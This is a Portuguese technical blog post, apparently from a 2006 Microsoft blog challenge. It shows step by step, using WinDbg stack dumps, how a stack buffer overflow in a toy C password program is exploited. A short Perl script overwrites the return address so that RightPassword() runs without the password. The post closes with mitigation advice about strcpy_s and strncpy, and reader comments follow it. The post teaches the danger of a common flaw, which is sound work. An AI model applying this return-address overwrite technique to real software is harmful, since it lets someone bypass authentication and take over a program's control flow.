Resposta ao Desafio da Semana #9 [Crash – Como Explorar um Buffer Overflow]



Por: Roberto Alexis Farah


 


http://blogs.technet.com/latam/archive/2006/08/04/445005.aspx


 


Agora eis a resposta…


 


 


PROBLEMA


 


O problema é bastante claro, um buffer overflow pode ocorrer no código. Agora, como explorá-lo para chamar a rotina RightPassword() mesmo sem saber a senha correta?


 


Vamos lá… no caso, usei apenas WinDbg (minha ferramenta favorita! J), mesmo para disassemblar o código.


Não entrarei no mérito de comandos Windbg, explicação detalhada de código disassemblado, etc… irei direto ao ponto, até porque não quero estimular os hackers de plantão. J


 


Utilizando Visual C++ 6.0 com aplicação compilada como DEBUG temos…


 


Código disassemblado de main(), como estou usando símbolos (PDB) temos a relação da linha de código fonte mas isso não é absolutamente nada necessário numa situação real. De fato, poderia ter usado a versão RELEASE sem símbolos, entretanto, seria menos didático para a demonstração:


 


BufferOverflow!main [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 16]:


   16 00401030 55              push    ebp


   16 00401031 8bec            mov     ebp,esp


   16 00401033 83ec4c          sub     esp,4Ch                    ß Espaço para variáveis locais.


   16 00401036 53              push    ebx


   16 00401037 56              push    esi


   16 00401038 57              push    edi


   16 00401039 8d7db4          lea     edi,[ebp-4Ch]


   16 0040103c b913000000      mov     ecx,13h


   16 00401041 b8cccccccc      mov     eax,0CCCCCCCCh


   16 00401046 f3ab            rep stos dword ptr es:[edi]


   17 00401048 837d0802        cmp     dword ptr [ebp+8],2


   17 0040104c 740d            je      BufferOverflow!main+0x2b (0040105b)


 


BufferOverflow!main+0x1e [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 19]:


   19 0040104e 6828204200      push    offset BufferOverflow!`string’ (00422028)


   19 00401053 e888020000      call    BufferOverflow!printf (004012e0)


   19 00401058 83c404          add     esp,4


 


BufferOverflow!main+0x2b [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 26]:


   26 0040105b 8b450c          mov     eax,dword ptr [ebp+0Ch]


   26 0040105e 8b4804          mov     ecx,dword ptr [eax+4]


   26 00401061 51              push    ecx


   26 00401062 8d55f4          lea     edx,[ebp-0Ch]


   26 00401065 52              push    edx


   26 00401066 e885010000      call    BufferOverflow!strcpy (004011f0)


   26 0040106b 83c408          add     esp,8


   28 0040106e 681c204200      push    offset BufferOverflow!`string’ (0042201c)


   28 00401073 8d45f4          lea     eax,[ebp-0Ch]


   28 00401076 50              push    eax


   28 00401077 e8e4000000      call    BufferOverflow!strcmp (00401160)


   28 0040107c 83c408          add     esp,8


   28 0040107f 85c0            test    eax,eax


   28 00401081 7507            jne     BufferOverflow!main+0x5a (0040108a)


 


BufferOverflow!main+0x53 [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 30]:


   30 00401083 e87dffffff      call    BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)


   32 00401088 eb05            jmp     BufferOverflow!main+0x5f (0040108f)


 


BufferOverflow!main+0x5a [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 34]:


   34 0040108a e880ffffff      call    BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)


 


BufferOverflow!main+0x5f [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 37]:


   37 0040108f 33c0            xor     eax,eax


   38 00401091 5f              pop     edi


   38 00401092 5e              pop     esi


   38 00401093 5b              pop     ebx


   38 00401094 83c44c          add     esp,4Ch


   38 00401097 3bec            cmp     ebp,esp


   38 00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)


   38 0040109e 8be5            mov     esp,ebp


   38 004010a0 5d              pop     ebp


   38 004010a1 c3              ret


 


 


Note que do espaço para variáveis locais, que inclui o buffer para receber a senha:


0x4c = 76 em decimal


 


Entretanto, as variáveis locais comecam em ebp-0x4 quando não há Frame Pointer Optimization (FPO) logo, devemos


subtrair 0x4c de 0x4 = 0x48 = 0n72 em decimal. Isso é a área bruta para variáveis locais.


Durante a resolução vamos considerar que nunca vimos o código fonte.


 


Continuando, na pilha temos, sempre que não usando FPO (do contrário ESP é usado, mas não é constante):


 


ebp


ebp+0x4  ß Endereço de retorno


ebp+0x8  ß Primeiro parâmetro em diante…


ebp-0x4   ß Primeira variável local se tamanho não for maior que um DWORD.


              Em caso de uma string o parâmetro pode ser maior… no nosso caso e’


              ebp-0xc.


 


 


Logo, se há um estouro de buffer (buffer overflow) o primeiro endereço a ser sobreescrito é justamente o endereço


EBP (stack frame) seguido pelo endereço de retorno EBP+4.


 


 


Durante a depuração temos (mapeie com o código disassemblado mais acima):


 


00401058 83c404          add     esp,4


0040105b 8b450c          mov     eax,dword ptr [ebp+0Ch]


0040105e 8b4804          mov     ecx,dword ptr [eax+4]


00401061 51              push    ecx


00401062 8d55f4          lea     edx,[ebp-0Ch]            ß Localização do buffer onde a string será copiada.


00401065 52              push    edx                           ßParei aqui! Os parâmetros para strcpy()


00401066 e885010000      call    BufferOverflow!strcpy (004011f0)


0040106b 83c408          add     esp,8


 


 


eax=00321190 ebx=7ffd9000 ecx=00000000 edx=0012ff74 esi=7c9118f1 edi=0012ff80


eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0         nv up ei pl nz na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206


BufferOverflow!main+0x35:


00401065 52              push    edx


 


 


Eis a pilha:


 


ChildEBP RetAddr 


0012ff80 00401489 BufferOverflow!main+0x35


0012ffc0 7c816d4f BufferOverflow!mainCRTStartup+0xe9


0012fff0 00000000 kernel32!BaseProcessStart+0x23


 


 


Eis a pilha sob outro ângulo:


 


0012ff80  0012ffc0                                                          ß ebp


0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9   ß ebp+0x4


0012ff88  00000002                                                         ß ecx


0012ff8c  00321190                                                         ß eax


0012ff90  00321288                                                         ß edx


0012ff94  00eef558                                                          ß edi


0012ff98  00000182                                                         ß esi


0012ff9c  7ffdd000


0012ffa0  00000001


0012ffa4  00000001


0012ffa8  0012ff94


0012ffac  ad38fd08


0012ffb0  0012ffe0


0012ffb4  00404450 BufferOverflow!_except_handler3


 


 


Ainda outra visão da pilha (stack):


 


0012ff84  00401489 00000002 00321190 00321288


0012ff94  00eef558 00000182 7ffdf000 00000001


0012ffa4  00000001 0012ff94 af104d08 0012ffe0


0012ffb4  00404450 004221c0 00000000 0012fff0


 


 


Nesse ponto tempos:


 


ecx = “1234567899999”           ß Parâmetro via linha de comando.  


ebp-0xc = buffer, primeiro parâmetro de _tcscpy()


 


 


Com os valores acima nosso overflow vai apenas sobreescrever variáveis locais se houverem mas talvez não seja suficiente para atingirmos nosso objetivo ebp+4 o endereço de retorno.


 


 


Agora vamos reexecutar a aplicação usando suficiente número de bytes para invadir o buffer com margem de sobra. Obviamente como não sabemos se a aplicação preve isso nem o tamanho que aceita, tentamos com uma entrada grande o suficiente mas isso poderia ser automatizado via um script…


 


Eis a linha de comando:


 


1111111111111111111111111111111111111111111111111111111111111111111111111111


 


 


O que esperamos com isso? Checar se a aplicação falha (crash) por causa de um buffer overflow e, após comprovado, sobreescrever ebp+4… vamos ver…


 


 


Reexecutando temos:


 


ebp+0x4:


 


0012ff84 00401489


 


 


ebp:


 


0012ff80  0012ffc0


 


Notem a diferença de 4 bytes de ebp e ebp+0x4.


 


Agora vou parar a execução logo depois da cópia da string de parâmetro (linha de comando) para o buffer interno, onde justamente esse buffer será sobreescrito.


 


 


00401062 8d55f4          lea     edx,[ebp-0Ch]


00401065 52              push    edx


00401066 e885010000      call    BufferOverflow!strcpy (004011f0)


0040106b 83c408          add     esp,8                                         ß Parei a execução aqui.


0040106e 681c204200      push    offset BufferOverflow!`string’ (0042201c)


00401073 8d45f4          lea     eax,[ebp-0Ch]


00401076 50              push    eax


00401077 e8e4000000      call    BufferOverflow!strcmp (00401160)


0040107c 83c408          add     esp,8


 


 


 


Eis os registradores:


 


eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80


eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


BufferOverflow!main+0x3b:


0040106b 83c408          add     esp,8


 


 


ebp esta correto…mas e ebp+0x4?


 


ebp+0x4:


 


0012ff84  31313131             ß Corrompido!!! Representam o código hexadecimal para a linha fornecida como parâmetro.


 


 


Eis a pilha a partir de ebp+0x4:


 


0012ff84  31313131 31313131 31313131 31313131


0012ff94  31313131 31313131 31313131 31313131


0012ffa4  31313131 31313131 31313131 31313131


0012ffb4  31313131 31313131 31313131 0012ff00


0012ffc4  7c816d4f 00eef558 00000182 7ffdf000


0012ffd4  8054a6ed 0012ffc8 88efb020 ffffffff


0012ffe4  7c8399f3 7c816d58 00000000 00000000


0012fff4  00000000 004013a0 00000000 78746341


 


 


E o valor dos novos registradores:


 


eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80


eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


BufferOverflow!main+0x3b:


0040106b 83c408          add     esp,8


 


 


Notem que a string de caracteres passou demasiadamente o ponto que queríamos… Como sabemos disso?


O conteúdo dos registradores esi, edi, ecx foram corrompidos, ou seja, passamos ebp, passamos ebp+4 e fomos invadindo a memória.


Portanto, vamos reduzir em, digamos 3 DWORDs  (4 bytes).


Agora temos:


 


1111111111111111111111111111111111111111111111111111111111111111


 


Reexecutando a aplicação com a nova string de entrada temos…


 


Primeiro vamos ver o buffer ebp-0xc:


 


 


0012ff74  0012ff7c          ß ebp-0xc


0012ff78  00403138 BufferOverflow!_initterm+0x18


0012ff7c  0012ff8c


0012ff80  0012ffc0          ß ebp


0012ff88  00000002        


 


 


Importante!!! Há três coisas que confundem muito aqueles aprendendo a fazer depuração radical, portanto vou esclarecer (ou tentar pelo menos J) :


 


1-    A pilha cresce de cima para baixo, ou seja, do maior endereço para o menor endereço. Notem que o endereço de ebp+4 é, por exemplo, maior que ebp.


2-    O buffer ao receber dados cresce de baixo para cima, ou seja, na direção oposta a da pilha. Portanto, se 0012ff74  no exemplo acima recebe um valor muito grande vai expandir em direção a 0012ff88.


3-    O código disassemblado não tem relação com a pilha. A pilha é como se fosse uma lista ligada que aponta para partes das rotinas mas quando a pilha é afetada o código disassemblado não muda.


 


 


Continuando…


 


 


0012ff74  0012ff7c                                                          ß ebp-0xc buffer que receberá a string.


0012ff78  00403138 BufferOverflow!_initterm+0x18


0012ff7c  0012ff8c


0012ff80  0012ffc0                                                          ß ebp


0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9   ß endereço de retorno, ebp+0x4


0012ff88  00000002


0012ff8c  00321190


0012ff90  00321278


0012ff94  00eef558


0012ff98  0000016a


0012ff9c  7ffd6000


0012ffa0  00000001


0012ffa4  00000001


0012ffa8  0012ff94


0012ffac  b1755d08


0012ffb0  0012ffe0


0012ffb4  00404450 BufferOverflow!_except_handler3


0012ffb8  004221c0 BufferOverflow!`string’+0xe0


 


 


 


 


Vamos parar a execução no ponto abaixo:


 


 


00401065 52              push    edx


00401066 e885010000      call    BufferOverflow!strcpy (004011f0)


0040106b 83c408          add     esp,8                    ß Parei aqui.


 


 


Eis a mesma pilha agora com o buffer preenchido pela string recebida como parâmetro:


 


0012ff80  31313131        ß ebp


0012ff84  31313131        ß ebp+0x4


0012ff88  31313131        ß A partir daqui passamos!


0012ff8c  31313131


0012ff90  31313131


0012ff94  31313131


0012ff98  31313131


0012ff9c  31313131


0012ffa0  31313131


0012ffa4  31313131


0012ffa8  31313131


0012ffac  31313131


0012ffb0  31313131


0012ffb4  00404400 BufferOverflow!_NLG_Return2+0xe


0012ffb8  004221c0 BufferOverflow!`string’+0xe0


 


 


 


Note que depurando podemos medir o quanto invadimos a pilha. Isso é fundamental para explorarmos a falha de segurança!


 


Registradores nesse momento:


 


eax=0012ff74 ebx=7ffd7000 ecx=00321238 edx=fd003131 esi=0000016a edi=0012ff80


eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


BufferOverflow!main+0x3b:


0040106b 83c408          add     esp,8


 


 


0012ff80  31313131 31313131 31313131 31313131


0012ff90  31313131 31313131 31313131 31313131


0012ffa0  31313131 31313131 31313131 31313131


0012ffb0  31313131 00404400 004221c0 00000000


0012ffc0  0012fff0 7c816d4f 00eef558 0000016a


0012ffd0  7ffd7000 8054a6ed 0012ffc8 88dfc2a0


0012ffe0  ffffffff 7c8399f3 7c816d58 00000000


0012fff0  00000000 00000000 004013a0 00000000


 


 


 


Agora estamos quase lá!! Sabemos, usando força-bruta que:


 


1-    A aplicação aceita valores acima do que deveria, prova disso é que invadimos a pilha e causamos um crash.


2-    Sabemos o quanto estamos invadindo da pilha e que queremos sobreescrever até 0012ff84 apenas.


 


 


Portanto, cada linha tem 4 bytes, logo, quatro caracters já que a aplicação foi compilada como ASCII, com isso


devemos reduzir a entrada em 44 caracteres, logo, devemos usar:


 


11111111111111111111           ß 20 caracteres.


 


 


Reexecutando temos:


 


0012ff80  31313131


0012ff84  31313131            ß YYYYEEESSSSSSSS! J


0012ff88  00000000


0012ff8c  00321190


0012ff90  00321248


0012ff94  00eef558


0012ff98  00000112


0012ff9c  7ffd6000


0012ffa0  00000001


0012ffa4  00000001


0012ffa8  0012ff94


0012ffac  adf9bd08


0012ffb0  0012ffe0


0012ffb4  00404450 BufferOverflow!_except_handler3


0012ffb8  004221c0 BufferOverflow!`string’+0xe0


 


 


Lindo, né gente? Alcançamos o exato ponto para sobreescrever ebp+0x4.


 


<AVISO>


 


O propósito desse desafio é só ilustrar o perigo de uma falha de segurança muito comum em aplicações escritas em C ou C++ e dar uma idéia mais detalhada de como um buffer overflow é explorado.


Após publicar o desafio, na semana passada, me perguntaram porque não escrevo um artigo sobre como fazer um crack de software.


Isso não seria nada construtivo por diversas razões, portanto, não escreverei sobre isso.


 


</AVISO>


 


Agora… porque esse foco em ebp+0x4? Porque, como mencionei, é o endereço de retorno, ou seja, quando uma rotina é chamada o endereço da próxima instrução logo após a chamada da rotina é salvo, assim, ao final da execução da rotina, o fluxo de execução caminha para a próxima instrução.


Logo, imagine se esse endereço de retorno tivesse o endereço da função que habilita a senha… observem que o endereço é facilmente extraido do código disassemblado!


Se isso fosse conseguido a rotina de senha correta seria chamada automaticamente ao final da execução!


Mas como isso pode ser feito? Enviando-se o código de máquina junto da string que ocasiona o buffer overflow!


 


 


Primeiro vamos pegar o endereço da rotina de senha correta:


 


00401083 e87dffffff      call    BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)   ß Eis!


00401088 eb05            jmp     BufferOverflow!main+0x5f (0040108f)


0040108a e880ffffff      call    BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)


0040108f 33c0            xor     eax,eax


 


 


Rotina:


 


BufferOverflow!RightPassword [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 44]:


   44 004010c0 55              push    ebp


   44 004010c1 8bec            mov     ebp,esp


   44 004010c3 83ec40          sub     esp,40h


   44 004010c6 53              push    ebx


   44 004010c7 56              push    esi


   44 004010c8 57              push    edi


   44 004010c9 8d7dc0          lea     edi,[ebp-40h]


   44 004010cc b910000000      mov     ecx,10h


   44 004010d1 b8cccccccc      mov     eax,0CCCCCCCCh


   44 004010d6 f3ab            rep stos dword ptr es:[edi]


   45 004010d8 6850204200      push    offset BufferOverflow!`string’ (00422050)


   45 004010dd e8fe010000      call    BufferOverflow!printf (004012e0)


   45 004010e2 83c404          add     esp,4


   46 004010e5 5f              pop     edi


   46 004010e6 5e              pop     esi


   46 004010e7 5b              pop     ebx


   46 004010e8 83c440          add     esp,40h


   46 004010eb 3bec            cmp     ebp,esp


   46 004010ed e86e020000      call    BufferOverflow!_chkesp (00401360)


   46 004010f2 8be5            mov     esp,ebp


   46 004010f4 5d              pop     ebp


   46 004010f5 c3              ret


 


 


 


Ok… alguém poderia perguntar como saber se essa é a rotina sem ter indicação do nome… resposta: depurando ou simplesmente analisando a listagem do código disassemblado.


 


Portanto, para finalizar, temos que passar um buffer de 20 caracteres onde os últimos 8 bytes são:


90 90 90 90 00 40 10 05


 


Que se traduz em instruções NOP para sobreescrever EBP (isso não é necessário, é apenas para ficar fácil visualizar) e, em seguida, o endereço da instrução.


Como fazer isso?


 


Para isso devemos usar Perl e criar um script como:


 


$arg = “111111111111”.”\x90\x90\x90\x90\x00\x40\x10\x05″;


$cmd = “bufferoverflow.exe “.$arg;        


 


system($cmd);


 


 


Note que o endereço é invertido porque com x86 os valores são colocados na memória (little-endian) do byte menos significativo para o mais significativo.


 


Ok, usando essa abordagem nós fazemos com que o endereço de retorno chame a rotina de senha correta. Após a chamada haverá um crash de aplicação porque o valor de ebp é inválido, mas isso não importa mais porque a invasão foi feita!


Esse exemplo é bem simples mas ilustra o conceito.


 


Eis a depuração usando a exploração via Perl:


 


 


00401062 8d55f4          lea     edx,[ebp-0Ch]


00401065 52              push    edx                               ß Primeira parada. (breakpoint)


00401066 e885010000      call    BufferOverflow!strcpy (004011f0)


0040106b 83c408          add     esp,8                           ß Segunda parada. (breakpoint)


0040106e 681c204200      push    offset B


 


 


Para a primeira parada acima temos:


 


eax=00321190 ebx=7ffd7000 ecx=003211f6 edx=0012ff74 esi=00000112 edi=0012ff80


eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


BufferOverflow!main+0x35:


00401065 52              push    edx


 


 


0012ff74  cccccccc                   ß Buffer onde a string será colocada.


0012ff78  cccccccc


0012ff7c  cccccccc


0012ff80  0012ffc0                   ß ebp


0012ff84  00401489 BufferOverflow!mainCRTStartup+0xe9  ß ebp+0x4


 


 


 


Na segunda parada temos:


 


eax=0012ff74 ebx=7ffd7000 ecx=0032120c edx=fd003535 esi=00000112 edi=0012ff80


eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


BufferOverflow!main+0x3b:


0040106b 83c408          add     esp,8


 


 


0012ff74  31313131               ß Buffer… conteúdo e’ “111111….”


0012ff78  31313131


0012ff7c  31313131


0012ff80  90909090               ß ebp


0012ff84  00401005 BufferOverflow!ILT+0(?RightPasswordYAXXZ)  ß ebp+0x4  Lindo né, gente?


 


 


Continuando a depuração temos…


 


00401092 5e              pop     esi               ß Breakpoint aqui.


00401093 5b              pop     ebx


00401094 83c44c          add     esp,4Ch


00401097 3bec            cmp     ebp,esp


00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)      


0040109e 8be5            mov     esp,ebp          


004010a0 5d              pop     ebp


 


 


 


esp = 12ff34


 


Mas após “add esp, 4Ch” temos:


 


esp = 12ff80


 


que contém:


 


0012ff80  90909090         ß antigo ebp resgatado. Lembram-se dos 0x90 que colocamos?


 


 


Agora vamos executar:


 


00401099 e8c2020000      call    BufferOverflow!_chkesp (00401360)


0040109e 8be5            mov     esp,ebp


004010a0 5d              pop     ebp


004010a1 c3              ret                      ß Estamos nesse ponto.


 


 


Nos registradores ebp e ebp+0x4 temos:


 


0012ff80  90909090 00401005


 


 


Após o “ret” acima vamos para:


 


BufferOverflow!ILT+0(?RightPasswordYAXXZ):


00401005 e9b6000000      jmp     BufferOverflow!RightPassword (004010c0)


 


BufferOverflow!RightPassword:


004010c0 55              push    ebp


004010c1 8bec            mov     ebp,esp


004010c3 83ec40          sub     esp,40h


004010c6 53              push    ebx


004010c7 56              push    esi


004010c8 57              push    edi


004010c9 8d7dc0          lea     edi,[ebp-40h]


004010cc b910000000      mov     ecx,10h


004010d1 b8cccccccc      mov     eax,0CCCCCCCCh


004010d6 f3ab            rep stos dword ptr es:[edi]


004010d8 6850204200      push    offset BufferOverflow!`string’ (00422050)


004010dd e8fe010000      call    BufferOverflow!printf (004012e0)


004010e2 83c404          add     esp,4


004010e5 5f              pop     edi


004010e6 5e              pop     esi


004010e7 5b              pop     ebx


004010e8 83c440          add     esp,40h


004010eb 3bec            cmp     ebp,esp


004010ed e86e020000      call    BufferOverflow!_chkesp (00401360)


004010f2 8be5            mov     esp,ebp


004010f4 5d              pop     ebp


004010f5 c3              ret


 


RightPassword() está sendo chamada!!! Exploração bem sucedida!!!


 


No final da execução temos ebp com o valor inválido sendo usado, haverá o crash:


 


004010f2 8be5            mov     esp,ebp        ß ebp = 90909090


004010f4 5d              pop     ebp


004010f5 c3              ret


 


ebp+0x4 que e’ o valor de retorno = 90909094  ????????


 


Valores ilegais porque a pilha foi corrompida, embora milimetricamente corrompida! J


 


eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558


eip=00000090 esp=0012ff8c ebp=90909090 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246


00000090 ??              ???


 


Eis a pilha corrompida…


 


ChildEBP RetAddr 


WARNING: Frame IP not in any known module. Following frames may be wrong.


0012ff88 00000000 0x90


 


 


Isso gera uma exceção que quebra a aplicação quando não estamos com o depurador conectado como agora:


 


(78c.17a4): Access violation – code c0000005 (first chance)


First chance exceptions are reported before any exception handling.


This exception may be expected and handled.


eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558


eip=00000090 esp=0012ff8c ebp=90909090 iopl=0         nv up ei pl zr na pe nc


cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246


00000090 ??              ???


 


 


Portanto, após a chamada da rotina a aplição sofre um crash. Mas a chamada crítica já foi efetuada, ou seja, sem ter a senha correta, apenas explorando uma falha de segurança fizemos com que a rotina que deveria supostamente ser chamada somente com senha certa tenha sido chamada sem conhecimento da senha real!


 


Como evitar essa falha no código? Utilizando rotinas protegidas. O que? Você pensou em strncpy()? Atente para isso:


 


http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_strncpy.2c_.wcsncpy.2c_._mbsncpy.asp


 


“The strncpy function copies the initial count characters of strSource to strDest and returns strDest. If count is less than or equal to the length of strSource, a null character is not appended automatically to the copied string. If count is greater than the length of strSource, the destination string is padded with null characters up to length count. The behavior of strncpy is undefined if the source and destination strings overlap.


Security Note   strncpy does not check for sufficient space in strDest; it is therefore a potential cause of buffer overruns. Keep in mind that count limits the number of characters copied; it is not a limit on the size of strDest. See the example below. For more information, see Avoiding Buffer Overruns.”


 


Em outras palavras, você pode resolver o problema mas ainda está sujeito a falhas como o terminador NULL que nem sempre é colocado. O melhor é usar a variação segura dessa rotina:


 


http://msdn2.microsoft.com/en-us/library/5dae5d43.aspx


 


Exemplo:


 


#include <stdio.h>


#include <stdlib.h>


 


int main( void )


{


char a[20] = “test”;


char s[20];


 


// simple strncpy usage:


strcpy_s( s, 20, “dogs like cats” );


 


printf( “Original string:\n ‘%s’\n”, s );


 


// Here we can’t use strncpy_s since we don’t


// want null termination strncpy( s, “mice”, 4 );


printf( “After strncpy (no null-termination):\n ‘%s’\n”, s );


 


strncpy( s+5, “love”, 4 );


 


printf( “After strncpy into middle of string:\n ‘%s’\n”, s );


 


// If we use strncpy_s, the string is terminated.


strncpy_s( s, _countof(s), “mice”, 4 );


printf( “After strncpy_s (with null-termination):\n ‘%s’\n”, s );


 


}


 


 


Até o próximo desafio, pessoal!


 


 

Comments (2)

  1. Rodney Viana says:

    Farah,

    Muito legal este desafio. Pelo menos passei perto. Eu iria usar um outro programa em C para chamar o programa programaticamente e inserir o opcode de uma int 3 (0xcc) via linha de comando para chamar o debugger quando o problema ocorresse (de dentro do Visual Studio). Eu até tentei mas tive alguns problemas e acabei não testando esta teoria completamente. Sua solução foi mais light. O que você acha desta abordagem?

    Este problema foi muito legal e eu fiquei quebrando a cabeça por alguns dias. E você ainda queria uma resposta em meio a uma entrevista. Você é mal! 🙂

    Mas é assim que se aprende. Gostei muito deste desafio. E aproveito para perguntar como é que a gente aprende mais sobre o WindDbg. O que eu sei não dá nem para começo pelo que vejo.

    E aqui vai uma sugestão: que tal fazer algum desafio que inclua o debug de managed code (sem o fonte)? A falta de material nesta área é ainda um problema sério. E acredito que como eu, outros leitores iriam aproveitar bastante estas dicas.

    Aproveita e visita meu blog (ele não é técnico).

  2. Roberto Farah says:

    Oi Rodney,

    Você fez um ótimo comentário sobre usar int 3!

    Na abordagem que usei tentei mostrar como identificar o quanto de pilha está sendo invadida e como identificar isso, entretanto, usando 0xCC ao invés de "1111" o depurador ía parar no breakpoint logo que o endereço de retorno fosse executado (alguns livros usam essa abordagem), indicando de modo direto a quantidade de bytes que eu precisaria colocar logo antes do endereço da rotina a ser colocada em ebp+0x4, portanto, minimizando a quantidade de depuração (mas achei que seria menos didático para explicar o processo de invasão da pilha), logo, creio que sua solução também funcionaria sim!

    Em relação a depuração de Managed Code e Windbg, coloco aqui uma lista de material, bem completa. De qualquer modo, meu objetivo nos artigos é usar o Windbg apenas para demonstrar melhor a relação de causa e efeito entre problema e sintoma, mas como você pode ver há blogs de outros escalation engineers dedicados a isso, conforme coloco abaixo:

    Eis a lista de links sobre Windbg e depuração via SOS.dll:

    msdn.microsoft.com/msdnmag/issues/05/07/Debugging/

    msdn.microsoft.com/practices/compcat/default.aspx?pull=/library/en-us/dnbda/html/dbgrm.asp

    msdn.microsoft.com/msdnmag/issues/05/05/JITCompiler/

    Windows Debuggers: Part 1: A WinDbg Tutorial

    http://www.codeproject.com/debug/windbg_part1.asp

    Debug Tutorial Part 1: Beginning Debugging Using CDB and NTSD

    http://www.codeproject.com/debug/cdbntsd.asp

    Debug Tutorial Part 2: The Stack

    http://www.codeproject.com/debug/cdbntsd2.asp

    Debug Tutorial Part 3: The Heap

    http://www.codeproject.com/debug/cdbntsd3.asp

    Debug Tutorial Part 4: Writing WINDBG Extensions

    http://www.codeproject.com/debug/cdbntsd4.asp

    Debug Tutorial Part 5: Handle Leaks

    http://www.codeproject.com/debug/cdbntsd5.asp

    Debug Tutorial Part 6: Navigating The Kernel Debugger

    http://www.codeproject.com/debug/cdbntsd6.asp

    Debug Tutorial Part 7: Locks and Synchronization Objects

    http://www.codeproject.com/debug/cdbntsd7.asp

    A word for WinDbg

    mtaulty.com/communityserver/blogs/mike_taultys_blog/archive/2004/08/03/4656.aspx

    Blogs:

    blogs.msdn.com/yunjin/

    blogs.msdn.com/tess/

    blogs.msdn.com/jmstall/

    blogs.msdn.com/mvstanton/

    blogs.msdn.com/cbrumme/

    blogs.msdn.com/maoni/

    blogs.msdn.com/toddca/

    blogs.msdn.com/suzcook/

    Livro:

    Debugging Microsoft .NET 2.0 Applications (Pro-Developer) (Paperback)

    http://www.amazon.com/Debugging-Microsoft-NET-Applications-Pro-Developer/dp/0735622027/sr=8-2/qid=1157760897/ref=sr_1_2/103-9328215-6319036?ie=UTF8&s=books

    Obrigado!